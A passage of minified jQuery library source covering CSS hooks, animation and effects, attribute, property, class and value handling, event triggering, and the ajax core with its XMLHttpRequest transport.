a&&(i=a.get(e,!0,n)),void 0===i&&(i=Ge(e,t,r)),"normal"===i&&t in nt&&(i=nt[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),ce.each(["height","width"],function(e,u){ce.cssHooks[u]={get:function(e,t,n){if(t)return!et.test(ce.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?ot(e,u,n):Ue(e,tt,function(){return ot(e,u,n)})},set:function(e,t,n){var r,i=Xe(e),o=!le.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===ce.css(e,"boxSizing",!1,i),s=n?it(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-it(e,u,"border",!1,i)-.5)),s&&(r=Y.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=ce.css(e,u)),rt(0,t,s)}}}),ce.cssHooks.marginLeft=Ye(le.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Ge(e,"marginLeft"))||e.getBoundingClientRect().left-Ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),ce.each({margin:"",padding:"",border:"Width"},function(i,o){ce.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+Q[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(ce.cssHooks[i+o].set=rt)}),ce.fn.extend({css:function(e,t){return M(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Xe(e),i=t.length;a<i;a++)o[t[a]]=ce.css(e,t[a],!1,r);return o}return void 0!==n?ce.style(e,t,n):ce.css(e,t)},e,t,1<arguments.length)}}),((ce.Tween=at).prototype={constructor:at,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||ce.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(ce.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):at.propHooks._default.set(this),this}}).init.prototype=at.prototype,(at.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=ce.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){ce.fx.step[e.prop]?ce.fx.step[e.prop](e):1!==e.elem.nodeType||!ce.cssHooks[e.prop]&&null==e.elem.style[Ze(e.prop)]?e.elem[e.prop]=e.now:ce.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=at.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},ce.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},ce.fx=at.prototype.init,ce.fx.step={};var st,ut,lt,ct,ft=/^(?:toggle|show|hide)$/,pt=/queueHooks$/;function dt(){ut&&(!1===C.hidden&&ie.requestAnimationFrame?ie.requestAnimationFrame(dt):ie.setTimeout(dt,ce.fx.interval),ce.fx.tick())}function ht(){return ie.setTimeout(function(){st=void 0}),st=Date.now()}function gt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=Q[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function vt(e,t,n){for(var r,i=(yt.tweeners[t]||[]).concat(yt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function yt(o,e,t){var n,a,r=0,i=yt.prefilters.length,s=ce.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=st||ht(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:ce.extend({},e),opts:ce.extend(!0,{specialEasing:{},easing:ce.easing._default},t),originalProperties:e,originalOptions:t,startTime:st||ht(),duration:t.duration,tweens:[],createTween:function(e,t){var n=ce.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=F(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=ce.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=yt.prefilters[r].call(l,o,c,l.opts))return v(n.stop)&&(ce._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return ce.map(c,vt,l),v(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),ce.fx.timer(ce.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}ce.Animation=ce.extend(yt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return te(n.elem,e,Y.exec(t),n),n}]},tweener:function(e,t){v(e)?(t=e,e=["*"]):e=e.match(D);for(var n,r=0,i=e.length;r<i;r++)n=e[r],yt.tweeners[n]=yt.tweeners[n]||[],yt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ee(e),v=_.get(e,"fxshow");for(r in n.queue||(null==(a=ce._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,ce.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ft.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||ce.style(e,r)}if((u=!ce.isEmptyObject(t))||!ce.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=_.get(e,"display")),"none"===(c=ce.css(e,"display"))&&(l?c=l:(re([e],!0),l=e.style.display||l,c=ce.css(e,"display"),re([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===ce.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=_.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&re([e],!0),p.done(function(){for(r in g||re([e]),_.remove(e,"fxshow"),d)ce.style(e,r,d[r])})),u=vt(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?yt.prefilters.unshift(e):yt.prefilters.push(e)}}),ce.speed=function(e,t,n){var r=e&&"object"==typeof e?ce.extend({},e):{complete:n||!n&&t||v(e)&&e,duration:e,easing:n&&t||t&&!v(t)&&t};return ce.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in ce.fx.speeds?r.duration=ce.fx.speeds[r.duration]:r.duration=ce.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){v(r.old)&&r.old.call(this),r.queue&&ce.dequeue(this,r.queue)},r},ce.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ee).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=ce.isEmptyObject(t),o=ce.speed(e,n,r),a=function(){var e=yt(this,ce.extend({},t),o);(i||_.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=ce.timers,r=_.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&pt.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||ce.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=_.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=ce.timers,o=n?n.length:0;for(t.finish=!0,ce.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),ce.each(["toggle","show","hide"],function(e,r){var i=ce.fn[r];ce.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(gt(r,!0),e,t,n)}}),ce.each({slideDown:gt("show"),slideUp:gt("hide"),slideToggle:gt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){ce.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),ce.timers=[],ce.fx.tick=function(){var e,t=0,n=ce.timers;for(st=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||ce.fx.stop(),st=void 0},ce.fx.timer=function(e){ce.timers.push(e),ce.fx.start()},ce.fx.interval=13,ce.fx.start=function(){ut||(ut=!0,dt())},ce.fx.stop=function(){ut=null},ce.fx.speeds={slow:600,fast:200,_default:400},ce.fn.delay=function(r,e){return r=ce.fx&&ce.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=ie.setTimeout(e,r);t.stop=function(){ie.clearTimeout(n)}})},lt=C.createElement("input"),ct=C.createElement("select").appendChild(C.createElement("option")),lt.type="checkbox",le.checkOn=""!==lt.value,le.optSelected=ct.selected,(lt=C.createElement("input")).value="t",lt.type="radio",le.radioValue="t"===lt.value;var mt,xt=ce.expr.attrHandle;ce.fn.extend({attr:function(e,t){return M(this,ce.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){ce.removeAttr(this,e)})}}),ce.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?ce.prop(e,t,n):(1===o&&ce.isXMLDoc(e)||(i=ce.attrHooks[t.toLowerCase()]||(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=ce.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!le.radioValue&&"radio"===t&&fe(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(D);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),mt={set:function(e,t,n){return!1===t?ce.removeAttr(e,n):e.setAttribute(n,n),n}},ce.each(ce.expr.match.bool.source.match(/\w+/g),function(e,t){var a=xt[t]||ce.find.attr;xt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=xt[o],xt[o]=r,r=null!=a(e,t,n)?o:null,xt[o]=i),r}});var bt=/^(?:input|select|textarea|button)$/i,wt=/^(?:a|area)$/i;function Tt(e){return(e.match(D)||[]).join(" ")}function Ct(e){return e.getAttribute&&e.getAttribute("class")||""}function kt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(D)||[]}ce.fn.extend({prop:function(e,t){return M(this,ce.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[ce.propFix[e]||e]})}}),ce.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&ce.isXMLDoc(e)||(t=ce.propFix[t]||t,i=ce.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=ce.find.attr(e,"tabindex");return t?parseInt(t,10):bt.test(e.nodeName)||wt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),le.optSelected||(ce.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),ce.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){ce.propFix[this.toLowerCase()]=this}),ce.fn.extend({addClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).addClass(t.call(this,e,Ct(this)))}):(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).removeClass(t.call(this,e,Ct(this)))}):arguments.length?(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return v(t)?this.each(function(e){ce(this).toggleClass(t.call(this,e,Ct(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=kt(t),this.each(function(){if(s)for(o=ce(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=Ct(this))&&_.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":_.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+Tt(Ct(n))+" ").indexOf(t))return!0;return!1}});var St=/\r/g;ce.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=v(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,ce(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=ce.map(t,function(e){return null==e?"":e+""})),(r=ce.valHooks[this.type]||ce.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=ce.valHooks[t.type]||ce.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(St,""):null==e?"":e:void 0}}),ce.extend({valHooks:{option:{get:function(e){var t=ce.find.attr(e,"value");return null!=t?t:Tt(ce.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!fe(n.parentNode,"optgroup"))){if(t=ce(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=ce.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<ce.inArray(ce.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),ce.each(["radio","checkbox"],function(){ce.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<ce.inArray(ce(e).val(),t)}},le.checkOn||(ce.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Et=ie.location,jt={guid:Date.now()},At=/\?/;ce.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new ie.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||ce.error("Invalid XML: "+(n?ce.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Dt=/^(?:focusinfocus|focusoutblur)$/,Nt=function(e){e.stopPropagation()};ce.extend(ce.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||C],d=ue.call(e,"type")?e.type:e,h=ue.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||C,3!==n.nodeType&&8!==n.nodeType&&!Dt.test(d+ce.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[ce.expando]?e:new ce.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:ce.makeArray(t,[e]),c=ce.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!y(n)){for(s=c.delegateType||d,Dt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||C)&&p.push(a.defaultView||a.parentWindow||ie)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(_.get(o,"events")||Object.create(null))[e.type]&&_.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&$(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!$(n)||u&&v(n[d])&&!y(n)&&((a=n[u])&&(n[u]=null),ce.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,Nt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,Nt),ce.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=ce.extend(new ce.Event,n,{type:e,isSimulated:!0});ce.event.trigger(r,null,t)}}),ce.fn.extend({trigger:function(e,t){return this.each(function(){ce.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return ce.event.trigger(e,t,n,!0)}});var qt=/\[\]$/,Lt=/\r?\n/g,Ht=/^(?:submit|button|image|reset|file)$/i,Ot=/^(?:input|select|textarea|keygen)/i;function Pt(n,e,r,i){var t;if(Array.isArray(e))ce.each(e,function(e,t){r||qt.test(n)?i(n,t):Pt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==x(e))i(n,e);else for(t in e)Pt(n+"["+t+"]",e[t],r,i)}ce.param=function(e,t){var n,r=[],i=function(e,t){var n=v(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!ce.isPlainObject(e))ce.each(e,function(){i(this.name,this.value)});else for(n in e)Pt(n,e[n],t,i);return r.join("&")},ce.fn.extend({serialize:function(){return ce.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=ce.prop(this,"elements");return e?ce.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!ce(this).is(":disabled")&&Ot.test(this.nodeName)&&!Ht.test(e)&&(this.checked||!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^&]*/,Wt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ft=/^(?:GET|HEAD)$/,$t=/^\/\//,Bt={},_t={},zt="*/".concat("*"),Xt=C.createElement("a");function Ut(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(D)||[];if(v(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Vt(t,i,o,a){var s={},u=t===_t;function l(e){var r;return s[e]=!0,ce.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Gt(e,t){var n,r,i=ce.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&ce.extend(!0,e,r),e}Xt.href=Et.href,ce.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Et.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Et.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":ce.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Gt(Gt(e,ce.ajaxSettings),t):Gt(ce.ajaxSettings,e)},ajaxPrefilter:Ut(Bt),ajaxTransport:Ut(_t),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=ce.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?ce(y):ce.event,x=ce.Deferred(),b=ce.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Wt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Et.href)+"").replace($t,Et.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(D)||[""],null==v.crossDomain){r=C.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Xt.protocol+"//"+Xt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=ce.param(v.data,v.traditional)),Vt(Bt,v,t,T),h)return T;for(i in(g=ce.event&&v.global)&&0==ce.active++&&ce.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ft.test(v.type),f=v.url.replace(Rt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Mt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(At.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(It,"$1"),o=(At.test(f)?"&":"?")+"_="+jt.guid+++o),v.url=f+o),v.ifModified&&(ce.lastModified[f]&&T.setRequestHeader("If-Modified-Since",ce.lastModified[f]),ce.etag[f]&&T.setRequestHeader("If-None-Match",ce.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+zt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Vt(_t,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=ie.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&ie.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<ce.inArray("script",v.dataTypes)&&ce.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(ce.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(ce.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--ce.active||ce.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return ce.get(e,t,n,"json")},getScript:function(e,t){return ce.get(e,void 0,t,"script")}}),ce.each(["get","post"],function(e,i){ce[i]=function(e,t,n,r){return v(t)&&(r=r||n,n=t,t=void 0),ce.ajax(ce.extend({url:e,type:i,dataType:r,data:t,success:n},ce.isPlainObject(e)&&e))}}),ce.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),ce._evalUrl=function(e,t,n){return ce.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){ce.globalEval(e,t,n)}})},ce.fn.extend({wrapAll:function(e){var t;return this[0]&&(v(e)&&(e=e.call(this[0])),t=ce(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return v(n)?this.each(function(e){ce(this).wrapInner(n.call(this,e))}):this.each(function(){var e=ce(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=v(t);return this.each(function(e){ce(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){ce(this).replaceWith(this.childNodes)}),this}}),ce.expr.pseudos.hidden=function(e){return!ce.expr.pseudos.visible(e)},ce.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},ce.ajaxSettings.xhr=function(){try{return new ie.XMLHttpRequest}catch(e){}};var Yt={0:200,1223:204},Qt=ce.ajaxSettings.xhr();le.cors=!!Qt&&"withCredentials"in Qt,le.ajax=Qt=!!Qt,ce.ajaxTransport(function(i){var o,a;if(le.cors||Qt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in 